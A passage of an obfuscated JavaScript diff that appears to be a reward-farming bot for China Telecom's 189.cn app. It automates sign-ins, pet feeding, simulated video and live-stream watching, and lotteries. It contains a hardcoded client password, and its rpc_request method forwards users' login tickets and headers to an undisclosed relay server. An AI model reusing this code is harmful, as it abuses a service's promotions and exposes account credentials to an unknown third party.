"]"); + } + } catch (_0x1713d1) { + console.log(_0x1713d1); + } + } + async receiveReward(_0x1f06a0, _0x27d046 = {}) { + const cookies = await this.firstRequest(); + try { + let _0x408e82 = _0x1f06a0?.["title"]?.["split"](" ")?.[0]; + const _0x1205c1 = { + phone: this.name, + rewardId: _0x1f06a0?.["rewardId"] || "" + }; + let _0x4db2f8 = { + fn: "receiveReward", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/receiveReward", + json: { + para: this.encrypt_para(_0x1205c1) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0x514940, + statusCode: _0x5641f8 + } = await this.request(_0x4db2f8), + _0x1559d6 = _0x49dfef.get(_0x514940, "resoultCode", _0x5641f8); + if (_0x1559d6 == 0) { + this.log("领取任务[" + _0x408e82 + "]奖励成功: " + _0x514940?.["resoultMsg"]); + } else { + let _0xa69dbc = _0x514940?.["msg"] || _0x514940?.["resoultMsg"] || _0x514940?.["error"] || ""; + this.log("领取任务[" + _0x408e82 + "]奖励错误[" + _0x1559d6 + "]: " + _0xa69dbc); + } + } catch (_0x2a40e0) { + console.log(_0x2a40e0); + } + } + async openMsg(_0x51c539, _0x46c92d = {}) { + const cookies = await this.firstRequest(); + try { + let _0x4b897b = _0x51c539?.["title"]?.["split"](" ")?.[0]; + const _0x2aab67 = { + phone: this.name + }; + let _0x1c217b = { + fn: "openMsg", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/openMsg", + json: { + para: this.encrypt_para(_0x2aab67) +          }, +          headers: { +            Cookie: cookies, +          } +        }, + { + result: _0xb6f7bf, + statusCode: _0x41e108 + } = await this.request(_0x1c217b), + _0x1377ff = _0x49dfef.get(_0xb6f7bf, "resoultCode", _0x41e108); + if (_0x1377ff == 0) { + this.log("完成任务[" + _0x4b897b + "]成功: " + _0xb6f7bf?.["resoultMsg"]); + } else { + let _0x59d65d = _0xb6f7bf?.["msg"] || _0xb6f7bf?.["resoultMsg"] || _0xb6f7bf?.["error"] || ""; + this.log("完成任务[" + _0x4b897b + "]错误[" + _0x1377ff + "]: " + _0x59d65d); + } + } catch (_0x574cb0) { + console.log(_0x574cb0); + } + } + async polymerize(_0x2beade, _0x3610fd = {}) { + const cookies = await this.firstRequest(); + try { + let _0x27bccc = _0x2beade?.["title"]?.["split"](" ")?.[0]; + const _0x128b55 = { + phone: this.name, + jobId: _0x2beade.taskId + }; + let _0x493039 = { + fn: "polymerize", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/webSign/polymerize", + json: { + para: this.encrypt_para(_0x128b55) +           }, +           headers: { +             Cookie: cookies, +           } +         }, + { + result: _0x2c3e91, + statusCode: _0x3c5244 + } = await this.request(_0x493039), + _0x43d9c9 = _0x49dfef.get(_0x2c3e91, "resoultCode", _0x3c5244); + + if (_0x43d9c9 == 0) { + this.log("完成任务[" + _0x27bccc + "]成功: " + _0x2c3e91?.["resoultMsg"]); + } else { + let _0x402f9a = _0x2c3e91?.["msg"] || _0x2c3e91?.["resoultMsg"] || _0x2c3e91?.["error"] || ""; + + // 检查是否是无权限错误 + if (_0x402f9a.includes("您无此权限")) { + this.log("检测到无权限错误,重新获取sign..."); + await this.get_sign(); // 重新获取sign + this.log("重新获取sign成功,继续完成任务..."); + return this.polymerize(_0x2beade, _0x3610fd); // 重新调用polymerize方法 + } + + this.log("完成任务[" + _0x27bccc + "]错误[" + _0x43d9c9 + "]: " + _0x402f9a); + } + } catch (_0xc860ab) { + console.log(_0xc860ab); + } + } + async food(_0x7cbaa1, _0x4b0ab1 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x564080 = { + phone: this.name + }; + let _0x587fa4 = { + fn: "food", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/food", + json: { + para: this.encrypt_para(_0x564080) +           }, +           headers: { +             Cookie: cookies, +           } +         }, + { + result: _0x156b8d, + statusCode: _0x191b9d + } = await this.request(_0x587fa4), + _0x117b58 = _0x49dfef.get(_0x156b8d, "resoultCode", _0x191b9d); + + if (_0x117b58 == 0) { + this.log("第" + _0x7cbaa1 + "次喂食: " + (_0x156b8d?.["resoultMsg"] || "成功")); + if (_0x156b8d?.["levelUp"]) { + let _0x265b8d = _0x156b8d?.["currLevelRightList"][0]?.["level"]; + const _0x2eec5b = { + notify: true + }; + this.log("宠物已升级到[LV." + _0x265b8d + "], 获得: " + _0x156b8d?.["currLevelRightList"][0]?.["righstName"], _0x2eec5b); + } + } else { + let _0x14117b = _0x156b8d?.["msg"] || _0x156b8d?.["resoultMsg"] || _0x156b8d?.["error"] || ""; + + // 检查是否是无权限错误 + if (_0x14117b.includes("您无此权限")) { + this.log("检测到无权限错误,重新获取sign..."); + await this.get_sign(); // 重新获取sign + this.log("重新获取sign成功,继续完成任务..."); + return this.food(_0x7cbaa1, _0x4b0ab1); // 重新调用food方法 + } + + this.log("第" + _0x7cbaa1 + "次喂食失败[" + _0x117b58 + "]: " + _0x14117b); + _0x14117b?.["includes"]("最大喂食次数") && (this.can_feed = false); + } + } catch (_0x523284) { + console.log(_0x523284); + } + } + async getParadiseInfo(_0x4c16d3 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x1138c3 = { + phone: this.name + }; + let _0x2d8a6c = { + fn: "getParadiseInfo", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/getParadiseInfo", + json: { + para: this.encrypt_para(_0x1138c3) +           }, +           headers: { +             Cookie: cookies, +           } +         }; + + // 第一次请求 + { + const cookies = await this.firstRequest(); + _0x2d8a6c.headers = { + Cookie: cookies, + }; + let { + result: _0x13b7df, + statusCode: _0x1e6dfd + } = await this.request(_0x2d8a6c), + _0x54514a = _0x49dfef.get(_0x13b7df, "resoultCode", _0x1e6dfd); + if (_0x54514a == 0) { + let _0xdb66c = _0x13b7df?.["userInfo"]?.["levelInfoMap"]; + this.level = _0xdb66c?.["level"]; + for (let _0x33d3a3 = 1; _0x33d3a3 <= 10 && this.can_feed; _0x33d3a3++) { + await this.food(_0x33d3a3); + } + } else { + let _0x4e4dd5 = _0x13b7df?.["msg"] || _0x13b7df?.["resoultMsg"] || _0x13b7df?.["error"] || ""; + this.log("查询宠物等级失败[" + _0x54514a + "]: " + _0x4e4dd5); + return; + } + } + + // 第二次请求 + { + const cookies = await this.firstRequest(); + _0x2d8a6c.headers = { + Cookie: cookies, + }; + let { + result: _0x1334dd, + statusCode: _0x363378 + } = await this.request(_0x2d8a6c), + _0xf71230 = _0x49dfef.get(_0x1334dd, "resoultCode", _0x363378); + if (_0xf71230 == 0) { + let _0x41df23 = _0x1334dd?.["userInfo"]?.["levelInfoMap"]; + this.level = _0x41df23?.["level"]; + const _0x268241 = { + notify: true + }; + this.log("宠物等级[Lv." + _0x41df23?.["level"] + "], 升级进度: " + _0x41df23?.["growthValue"] + "/" + _0x41df23?.["fullGrowthCoinValue"], _0x268241); + } else { + let _0x1036a5 = _0x1334dd?.["msg"] || _0x1334dd?.["resoultMsg"] || _0x1334dd?.["error"] || ""; + this.log("查询宠物等级失败[" + _0xf71230 + "]: " + _0x1036a5); + return; + } + } + } catch (_0x94c5b4) { + console.log(_0x94c5b4); + } + } + async getLevelRightsList(_0x3ea0a7 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x166dba = { + phone: this.name + }; + let _0x5a0971 = { + fn: "getLevelRightsList", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList", + json: { + para: this.encrypt_para(_0x166dba) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x4cf13d, + statusCode: _0x5e92a4 + } = await this.request(_0x5a0971); + if (_0x4cf13d?.["currentLevel"]) { + let _0x3b50bb = _0x4cf13d?.["currentLevel"] || 6, + _0x1f1006 = false, + _0x53ddf4 = "V" + _0x3b50bb; + for (let _0x1ab325 of _0x4cf13d[_0x53ddf4] || []) { + let _0x59ef49 = _0x1ab325?.["righstName"] || ""; + if (this.coin < _0x1ab325.costCoin) { + continue; + } + (_0x59ef49?.["match"](/\d+元话费/) || _0x59ef49?.["match"](/专享\d+金豆/)) && (await this.getConversionRights(_0x1ab325, _0x1f1006)) && (_0x1f1006 = true); + } + } else { + let _0x4ff776 = _0x4cf13d?.["msg"] || _0x4cf13d?.["resoultMsg"] || _0x4cf13d?.["error"] || ""; + this.log("查询宠物兑换权益失败: " + _0x4ff776); + } + } catch (_0xcfd2ba) { + console.log(_0xcfd2ba); + } + } + async getConversionRights(_0xca19ef, _0x28066a, _0x21f772 = {}) { + const cookies = await this.firstRequest(); + let _0x21db60 = false; + try { + let _0x5d6f72 = _0xca19ef?.["righstName"] || ""; + const _0x714d7a = { + phone: this.name, + rightsId: _0xca19ef.id, + receiveCount: _0xca19ef.receiveType + }; + let _0x5ed3b5 = { + fn: "getConversionRights", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/getConversionRights", + json: { + para: this.encrypt_para(_0x714d7a) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x409ea1, + statusCode: _0x3fb426 + } = await this.request(_0x5ed3b5), + _0x17b3d0 = _0x49dfef.get(_0x409ea1, "code", _0x49dfef.get(_0x409ea1, "resoultCode", _0x3fb426)); + if (_0x17b3d0 == 200) { + if (!(_0x409ea1?.["rightsStatus"]?.["includes"]("已兑换") || _0x409ea1?.["rightsStatus"]?.["includes"]("已领取"))) { + _0x21db60 = true; + if (_0x28066a) { + await _0x49dfef.wait(3000); + } + await this.conversionRights(_0xca19ef); + } + } else { + let _0x267dcb = _0x409ea1?.["msg"] || _0x409ea1?.["resoultMsg"] || _0x409ea1?.["error"] || ""; + this.log("查询权益[" + _0x5d6f72 + "]失败[" + _0x17b3d0 + "]: " + _0x267dcb); + } + } catch (_0x1c9805) { + console.log(_0x1c9805); + } finally { + return _0x21db60; + } + } + async conversionRights(_0x1258fb, _0x5ee37a = {}) { + const cookies = await this.firstRequest(); + try { + let _0x285002 = _0x1258fb?.["righstName"] || ""; + const _0x3ba559 = { + phone: this.name, + rightsId: _0x1258fb.id + }; + let _0x259df8 = { + fn: "conversionRights", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/paradise/conversionRights", + json: { + para: this.encrypt_para(_0x3ba559) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x24b720, + statusCode: _0x2867ce + } = await this.request(_0x259df8), + _0x1caee2 = _0x49dfef.get(_0x24b720, "resoultCode", _0x2867ce); + if (_0x1caee2 == 0) { + this.log("兑换权益[" + _0x285002 + "]成功"); + } else { + let _0x58c8d6 = _0x24b720?.["msg"] || _0x24b720?.["resoultMsg"] || _0x24b720?.["error"] || ""; + this.log("兑换权益[" + _0x285002 + "]失败[" + _0x1caee2 + "]: " + _0x58c8d6); + } + } catch (_0x2f6eb8) { + console.log(_0x2f6eb8); + } + } + async get_usercode(_0x410326 = {}) { + try { + const _0x4ad8d0 = { + fn: "get_usercode", + method: "get", + url: "https://xbk.189.cn/xbkapi/api/auth/jump", + searchParams: {} + }; + _0x4ad8d0.searchParams.userID = this.ticket; + _0x4ad8d0.searchParams.version = "9.3.3"; + _0x4ad8d0.searchParams.type = "room"; + _0x4ad8d0.searchParams.l = "renwu"; + let { + statusCode: _0x1897af, + headers: _0xab67f2 + } = await this.request(_0x4ad8d0), + _0x40ae2f = _0xab67f2?.["location"]?.["match"](/usercode=(\w+)/); + _0x40ae2f ? await this.codeToken(_0x40ae2f[1]) : this.log("获取code失败[" + _0x1897af + "]"); + } catch (_0x3b0319) { + console.log(_0x3b0319); + } + } + async codeToken(_0x5551c8, _0x4c3418 = {}) { + try { + const _0x3ed11c = { + usercode: _0x5551c8 + }; + const _0x3382ca = { + fn: "codeToken", + method: "post", + url: "https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", + json: _0x3ed11c + }; + let { + result: _0x1e1031, + statusCode: _0x4829ec + } = await this.request(_0x3382ca), + _0xb6579f = _0x49dfef.get(_0x1e1031, "code", -1); + if (_0xb6579f == 0) { + this.xtoken = _0x1e1031?.["data"]?.["token"]; + this.got = this.got.extend({ + headers: { + Authorization: "Bearer " + _0x5b4189.encrypt(this.xtoken, "base64") + } + }); + } else { + let _0x2cb0f8 = _0x1e1031?.["msg"] || _0x1e1031?.["resoultMsg"] || _0x1e1031?.["error"] || _0x1e1031?.["msg"] || ""; + this.log("获取token失败[" + _0xb6579f + "]: " + _0x2cb0f8); + } + } catch (_0x324945) { + console.log(_0x324945); + } + } + async watchLiveInit(_0x410248 = {}) { + try { + let _0x28a798 = Math.floor(Math.random() * 1000) + 1000; + const _0x1e7374 = { + period: 1, + liveId: _0x28a798 + }; + const _0x10ad21 = { + fn: "watchLiveInit", + method: "post", + url: "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit", + json: _0x1e7374 + }; + let { + result: _0x15080d, + statusCode: _0x39b570 + } = await this.request(_0x10ad21), + _0x488aa2 = _0x49dfef.get(_0x15080d, "code", -1); + if (_0x488aa2 == 0) { + await _0x49dfef.wait(15000); + await this.watchLive(_0x28a798, _0x15080d?.["data"]); + } else { + let _0x641985 = _0x15080d?.["msg"] || _0x15080d?.["resoultMsg"] || _0x15080d?.["error"] || _0x15080d?.["msg"] || ""; + this.log("开始观看直播[" + _0x28a798 + "]失败[" + _0x488aa2 + "]: " + _0x641985); + } + } catch (_0x58939a) { + console.log(_0x58939a); + } + } + async watchLive(_0x2df12e, _0x578beb, _0x1de0d1 = {}) { + try { + const _0xae75fa = { + period: 1, + liveId: _0x2df12e, + key: _0x578beb + }; + const _0x511e74 = { + fn: "watchLive", + method: "post", + url: "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive", + json: _0xae75fa + }; + let { + result: _0x5c4954, + statusCode: _0x1ad01d + } = await this.request(_0x511e74), + _0x4e4cbf = _0x49dfef.get(_0x5c4954, "code", -1); + if (_0x4e4cbf == 0) { + this.log("观看直播[" + _0x2df12e + "]成功"); + await this.watchLiveInit(); + } else { + let _0x132d1d = _0x5c4954?.["msg"] || _0x5c4954?.["resoultMsg"] || _0x5c4954?.["error"] || _0x5c4954?.["msg"] || ""; + this.log("观看直播[" + _0x2df12e + "]失败[" + _0x4e4cbf + "]: " + _0x132d1d); + } + } catch (_0x32ce3f) { + console.log(_0x32ce3f); + } + } + async watchVideo(_0x37b577, _0x3a94a2 = {}) { + try { + const _0x15cc23 = { + articleId: _0x37b577 + }; + const _0x61e8d7 = { + fn: "watchVideo", + method: "post", + url: "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", + json: _0x15cc23 + }; + let { + result: _0x3d06a2, + statusCode: _0xa801d9 + } = await this.request(_0x61e8d7), + _0x33f743 = _0x49dfef.get(_0x3d06a2, "code", -1); + if (_0x33f743 == 0) { + this.log("观看短视频[" + _0x37b577 + "]成功"); + } else { + let _0x597186 = _0x3d06a2?.["msg"] || _0x3d06a2?.["resoultMsg"] || _0x3d06a2?.["error"] || _0x3d06a2?.["msg"] || ""; + this.log("观看短视频[" + _0x37b577 + "]失败[" + _0x33f743 + "]: " + _0x597186); + } + } catch (_0x42a411) { + console.log(_0x42a411); + } + } + async like(_0x3605f0, _0x42d468 = {}) { + try { + const _0x551814 = { + account: this.name, + liveId: _0x3605f0 + }; + const _0x3fd3b3 = { + fn: "like", + method: "post", + url: "https://xbk.189.cn/xbkapi/lteration/room/like", + json: _0x551814 + }; + let { + result: _0x15cd63, + statusCode: _0x550c11 + } = await this.request(_0x3fd3b3), + _0x3cb60d = _0x49dfef.get(_0x15cd63, "code", -1); + if (_0x3cb60d == 0) { + this.log("点赞直播间[" + _0x3605f0 + "]成功"); + } else { + let _0x12573c = _0x15cd63?.["msg"] || _0x15cd63?.["resoultMsg"] || _0x15cd63?.["error"] || _0x15cd63?.["msg"] || ""; + this.log("点赞直播间[" + _0x3605f0 + "]失败[" + _0x3cb60d + "]: " + _0x12573c); + } + } catch (_0x33a0d8) { + console.log(_0x33a0d8); + } + } + async sharingGetGold(_0x5cc2cd = {}) { + try { + let _0x5957b6 = { + fn: "sharingGetGold", + method: "post", + url: "https://appfuwu.189.cn:9021/query/sharingGetGold", + json: { + headerInfos: { + code: "sharingGetGold", + timestamp: _0x49dfef.time("yyyyMMddhhmmss"), + broadAccount: "", + broadToken: "", + clientType: "#9.6.1#channel50#iPhone 14 Pro Max#", + shopId: "20002", + source: "110003", + sourcePassword: "Sid98s", + token: this.token, + userLoginName: this.name + }, + content: { + attach: "test", + fieldData: { + shareSource: "3", + userId: this.userId, + account: this.encode_phone() + } + } + } + }, + { + result: _0x36023a, + statusCode: _0x5ade7c + } = await this.request(_0x5957b6), + _0x3bb612 = _0x49dfef.get(_0x36023a?.["responseData"], "resultCode", -1); + if (_0x3bb612 == "0000") { + this.log("分享成功"); + } else { + let _0x1fc39a = _0x36023a?.["msg"] || _0x36023a?.["responseData"]?.["resultDesc"] || _0x36023a?.["error"] || _0x36023a?.["msg"] || ""; + this.log("分享失败[" + _0x3bb612 + "]: " + _0x1fc39a); + } + } catch (_0x221821) { + console.log(_0x221821); + } + } + async month_jml_preCost(_0x3e12ef = {}) { + const cookies = await this.firstRequest(); + try { + let _0x54e4a2 = { + fn: "month_jml_preCost", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/short/message/preCost", + json: { + phone: this.encode_aes(this.name), + activityCode: "shortMesssge" + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x19ae9b, + statusCode: _0x219a77 + } = await this.request(_0x54e4a2), + _0xb89634 = _0x49dfef.get(_0x19ae9b, "resoultCode", _0x219a77); + if (_0xb89634 == 0) { + let _0x1709f5 = _0x19ae9b?.["data"]?.["resoultMsg"] || "领取成功"; + this.jml_tokenFlag = _0x19ae9b?.["resoultMsg"]; + await this.month_jml_userCost(_0x1709f5); + await this.month_jml_receive(); + await this.month_jml_getCount(); + await this.month_jml_refresh(); + } else { + let _0x2dde86 = _0x19ae9b?.["msg"] || _0x19ae9b?.["resoultMsg"] || _0x19ae9b?.["error"] || ""; + this.log("每月见面礼登录失败[" + _0xb89634 + "]: " + _0x2dde86); + } + } catch (_0xf5ea71) { + console.log(_0xf5ea71); + } + } + async month_jml_userCost(_0x5b6d73, _0x434031 = {}) { + const cookies = await this.firstRequest(); + try { + let _0x223f5d = { + fn: "month_jml_userCost", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/short/message/userCost", + json: { + phone: this.encode_aes(this.name), + activityCode: "shortMesssge", + flag: this.jml_tokenFlag + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x2add96, + statusCode: _0x4c7beb + } = await this.request(_0x223f5d), + _0x55ebaa = _0x49dfef.get(_0x2add96, "resoultCode", _0x4c7beb); + if (_0x55ebaa == 0) { + let _0x39f674 = _0x2add96?.["data"]?.["map"](_0x475613 => "[" + _0x475613.pizeName + "]") || []; + this.log("见面礼" + _0x5b6d73 + ": " + _0x39f674.join(", ")); + } else { + let _0x1c5716 = _0x2add96?.["msg"] || _0x2add96?.["resoultMsg"] || _0x2add96?.["error"] || ""; + this.log("领取每月见面礼失败[" + _0x55ebaa + "]: " + _0x1c5716); + } + } catch (_0x3eb9f8) { + console.log(_0x3eb9f8); + } + } + async month_jml_receive(_0x5aaffc = {}) { + const cookies = await this.firstRequest(); + try { + const _0x1a3146 = { + phone: this.name, + flag: this.jml_tokenFlag + }; + let _0x4fe3a1 = { + fn: "month_jml_receive", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/lottery/receive", + json: { + para: this.encrypt_para(_0x1a3146) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x16a4a1, + statusCode: _0x389615 + } = await this.request(_0x4fe3a1), + _0x4924bc = _0x49dfef.get(_0x16a4a1, "code", -1); + if (_0x4924bc == 0) { + this.log("领取APP抽奖次数成功"); + } else { + let _0x5ef8a4 = _0x16a4a1?.["msg"] || _0x16a4a1?.["resoultMsg"] || _0x16a4a1?.["error"] || ""; + this.log("领取APP抽奖次数失败[" + _0x4924bc + "]: " + _0x5ef8a4); + } + } catch (_0x209a71) { + console.log(_0x209a71); + } + } + async month_jml_getCount(_0x1eebce = {}) { + const cookies = await this.firstRequest(); + try { + const _0x3d70a3 = { + phone: this.name, + flag: this.jml_tokenFlag + }; + let _0x1d2de9 = { + fn: "month_jml_getCount", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/lottery/getCount", + json: { + para: this.encrypt_para(_0x3d70a3) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0xf1b29a, + statusCode: _0x4204df + } = await this.request(_0x1d2de9), + _0x4704a8 = _0x49dfef.get(_0xf1b29a, "code", -1); + if (_0x4704a8 == 0) { + let _0x141535 = _0xf1b29a?.["video"]?.["map"](_0x33886d => _0x33886d.videoType) || [], + _0x2fb772 = _0x131d2d.filter(_0x5bb71b => !_0x141535.includes(_0x5bb71b)), + _0x22a4b1 = false; + for (let _0x38b1de of _0x2fb772) { + if (_0x22a4b1) { + let _0x296e0d = Math.floor(Math.random() * 5000) + 3000; + await _0x49dfef.wait(_0x296e0d); + } + await this.month_jml_addVideoCount(_0x38b1de); + _0x22a4b1 = true; + } + } else { + let _0x330a5e = _0xf1b29a?.["msg"] || _0xf1b29a?.["resoultMsg"] || _0xf1b29a?.["error"] || ""; + this.log("查询看视频得抽奖机会次数失败[" + _0x4704a8 + "]: " + _0x330a5e); + } + } catch (_0x1c46ec) { + console.log(_0x1c46ec); + } + } + async month_jml_addVideoCount(_0x10070c, _0x588069 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x723a = { + phone: this.name, + videoType: _0x10070c, + flag: this.jml_tokenFlag + }; + let _0x2b00ee = { + fn: "month_jml_addVideoCount", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/lottery/addVideoCount", + json: { + para: this.encrypt_para(_0x723a) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x8dff4, + statusCode: _0x6fd216 + } = await this.request(_0x2b00ee), + _0x3f6886 = _0x49dfef.get(_0x8dff4, "code", -1); + if (_0x3f6886 == 0) { + this.log("看视频[" + _0x10070c + "]得抽奖机会成功"); + } else { + let _0x238dbf = _0x8dff4?.["msg"] || _0x8dff4?.["resoultMsg"] || _0x8dff4?.["error"] || ""; + this.log("看视频[" + _0x10070c + "]得抽奖机会失败[" + _0x3f6886 + "]: " + _0x238dbf); + } + } catch (_0x2d129d) { + console.log(_0x2d129d); + } + } + async month_jml_refresh(_0xcca85f = {}) { + const cookies = await this.firstRequest(); + try { + const _0x551b86 = { + phone: this.name, + flag: this.jml_tokenFlag + }; + let _0x5ab84e = { + fn: "month_jml_refresh", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/lottery/refresh", + json: { + para: this.encrypt_para(_0x551b86) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x764f77, + statusCode: _0x2cc71c + } = await this.request(_0x5ab84e), + _0x5ecd1e = _0x49dfef.get(_0x764f77, "code", -1); + if (_0x5ecd1e == -1) { + let _0x58362e = _0x764f77?.["rNumber"] || 0; + this.log("可以抽奖" + _0x58362e + "次"); + let _0x31275f = false; + while (_0x58362e-- > 0) { + if (_0x31275f) { + let _0x33dd5d = Math.floor(Math.random() * 5000) + 3000; + await _0x49dfef.wait(_0x33dd5d); + } + await this.month_jml_lotteryRevice(); + _0x31275f = true; + } + } else { + let _0x15024f = _0x764f77?.["msg"] || _0x764f77?.["resoultMsg"] || _0x764f77?.["error"] || ""; + this.log("查询抽奖次数失败[" + _0x5ecd1e + "]: " + _0x15024f); + } + } catch (_0x14d546) { + console.log(_0x14d546); + } + } + async month_jml_lotteryRevice(_0x5bf2d6 = {}) { + const cookies = await this.firstRequest(); + try { + const _0x786d14 = { + phone: this.name, + flag: this.jml_tokenFlag + }; + let _0x57d2e2 = { + fn: "month_jml_lotteryRevice", + method: "post", + url: "https://wapside.189.cn:9001/jt-sign/lottery/lotteryRevice", + json: { + para: this.encrypt_para(_0x786d14) + }, + headers: { +            Cookie: cookies, +          } + }, + { + result: _0x361574, + statusCode: _0x1225b9 + } = await this.request(_0x57d2e2), + _0x4ec03c = _0x49dfef.get(_0x361574, "code", -1); + if (_0x4ec03c == 0) { + let { + rname: _0x232c3b, + id: _0x23684c + } = _0x361574; + const _0x16b601 = { + notify: true + }; + this.log("每月见面礼抽奖: " + _0x232c3b, _0x16b601); + } else { + let _0x97a723 = _0x361574?.["msg"] || _0x361574?.["resoultMsg"] || _0x361574?.["error"] || ""; + this.log("每月见面礼抽奖失败[" + _0x4ec03c + "]: " + _0x97a723); + } + } catch (_0x3b1aef) { + console.log(_0x3b1aef); + } + } + async rpc_request(_0x390ce7, _0x48b512 = "get", _0x46e01b = null) { + const _0x433f30 = new Error(), + _0xafbbac = _0x433f30.stack, + _0x27601e = _0xafbbac.split("\n"), + _0x17aebc = _0x27601e?.[2]?.["match"](/UserClass\.(\w+)/)?.[1] || "rpc"; + let _0x50ab7c = { + fn: _0x17aebc, + method: "post", + url: _0x16d3ea, + json: { + key: _0x344953, + method: _0x48b512, + url: _0x390ce7.toString(), + headers: this.get_mall_headers(), + data: JSON.stringify(_0x46e01b) + } + }; + return await this.request(_0x50ab7c); + } + async auth_login(_0x16dd5f = {}) { + let _0x4b632d = false; + try { + let _0x59ca25 = this.ticket, + _0xa64474 = new URL("https://wapact.189.cn:9001/unified/user/login"), + _0x28641d = { + ticket: _0x59ca25, + backUrl: encodeURIComponent("https://wapact.189.cn:9001/JinDouMall/JinDouMall_luckDraw.html?ticket=" + _0x59ca25), + platformCode: "P201010301", + loginType: 2 + }, + { + result: _0x16b3c5, + statusCode: _0x3b6fb9 + } = await this.rpc_request(_0xa64474, "POST", _0x28641d), + _0x25f5c8 = _0x49dfef.get(_0x16b3c5, "code", _0x3b6fb9); + if (_0x25f5c8 == 0) { + let { + token: _0x202a28, + sessionId: _0x274600 + } = _0x16b3c5?.["biz"]; + this.mall_token = _0x202a28; + _0x4b632d = true; + } else { + let _0x1c4e69 = _0x49dfef.get(_0x16b3c5, "message", ""); + this.log("商城登录失败[" + _0x25f5c8 + "]: " + _0x1c4e69); + } + } catch (_0x3b74e2) { + console.log(_0x3b74e2); + } finally { + return _0x4b632d; + } + } + async queryInfo(_0x3da8a0 = {}) { + try { + let _0xc5f478 = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryInfo"); + _0xc5f478.searchParams.append("_", Date.now().toString()); + let { + result: _0x3bab08, + statusCode: _0x42dda4 + } = await this.rpc_request(_0xc5f478), + _0x69d0a7 = _0x49dfef.get(_0x3bab08, "code", _0x42dda4); + if (_0x69d0a7 == 0) { + this.coin = _0x3bab08?.["biz"]?.["amountTotal"] || this.coin; + await this.queryTurnTable(); + } else { + let _0x401a81 = _0x49dfef.get(_0x3bab08, "message", ""); + this.log("查询商城状态失败[" + _0x69d0a7 + "]: " + _0x401a81); + } + } catch (_0xd507ac) { + console.log(_0xd507ac); + } + } + async queryTurnTable(_0x12dce0 = {}) { + try { + let _0x5dccd4 = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryTurnTable"); + _0x5dccd4.searchParams.append("userType", "1"); + _0x5dccd4.searchParams.append("_", Date.now().toString()); + let { + result: _0x2ad2d5, + statusCode: _0x5a8d92 + } = await this.rpc_request(_0x5dccd4), + _0x2b1c98 = _0x49dfef.get(_0x2ad2d5, "code", _0x5a8d92); + if (_0x2b1c98 == 0) { + let _0x2b2dfc = _0x2ad2d5?.["biz"]?.["xiaoHaoCount"] || 20, + _0x15becc = _0x2ad2d5?.["biz"]?.["wzTurntable"]?.["code"] || ""; + _0x15becc ? await this.lottery_check(_0x15becc, _0x2b2dfc) : this.log("没有获取到转盘抽奖ID"); + } else { + let _0x96a1c8 = _0x49dfef.get(_0x2ad2d5, "message", ""); + this.log("获取转盘抽奖活动失败[" + _0x2b1c98 + "]: " + _0x96a1c8); + } + } catch (_0x3408eb) { + console.log(_0x3408eb); + } + } + async lottery_check(_0x217d19, _0x372f7b, _0x4f6c97 = {}) { + try { + let _0xa49a58 = new URL("https://wapact.189.cn:9001/gateway/stand/detail/check"); + _0xa49a58.searchParams.append("activityId", _0x217d19); + _0xa49a58.searchParams.append("_", Date.now().toString()); + let { + result: _0x2d69c8, + statusCode: _0x242328 + } = await this.rpc_request(_0xa49a58), + _0x2cccad = _0x49dfef.get(_0x2d69c8, "code", _0x242328); + if (_0x2cccad == 0) { + let _0x157881 = _0x2d69c8?.["biz"]?.["resultInfo"]?.["chanceCount"] || 0; + this.log("转盘可以抽奖" + _0x157881 + "次, 消耗金豆" + _0x372f7b + "/" + this.coin); + let _0x30a5ac = false; + while (_0x157881-- > 0 && this.coin >= _0x372f7b) { + if (_0x30a5ac) { + await _0x49dfef.wait(3000); + } + _0x30a5ac = true; + await this.lottery_do(_0x217d19, _0x372f7b); + } + } else { + let _0x3cd934 = _0x49dfef.get(_0x2d69c8, "message", ""); + this.log("查询转盘抽奖次数失败[" + _0x2cccad + "]: " + _0x3cd934); + } + } catch (_0x957f54) { + console.log(_0x957f54); + } + } + async lottery_do(_0x5149a7, _0xc5a8fd = {}) { + try { + let _0x1794f8 = new URL("https://wapact.189.cn:9001/gateway/golden/api/lottery"); + const _0x5e6ddf = { + activityId: _0x5149a7 + }; + let { + result: _0x50d02f, + statusCode: _0x69dd47 + } = await this.rpc_request(_0x1794f8, "POST", _0x5e6ddf), + _0x301247 = _0x49dfef.get(_0x50d02f, "code", _0x69dd47); + if (_0x301247 == 0) { + this.coin = _0x50d02f?.["biz"]?.["amountTotal"] || this.coin - xiaoHaoCount; + let _0x3d75c1 = _0x50d02f?.["biz"]?.["resultCode"], + _0x2f6e42 = ""; + switch (_0x3d75c1) { + case "0": + { + let _0x420d18 = _0x50d02f?.["biz"]?.["resultInfo"]?.["winTitle"] || 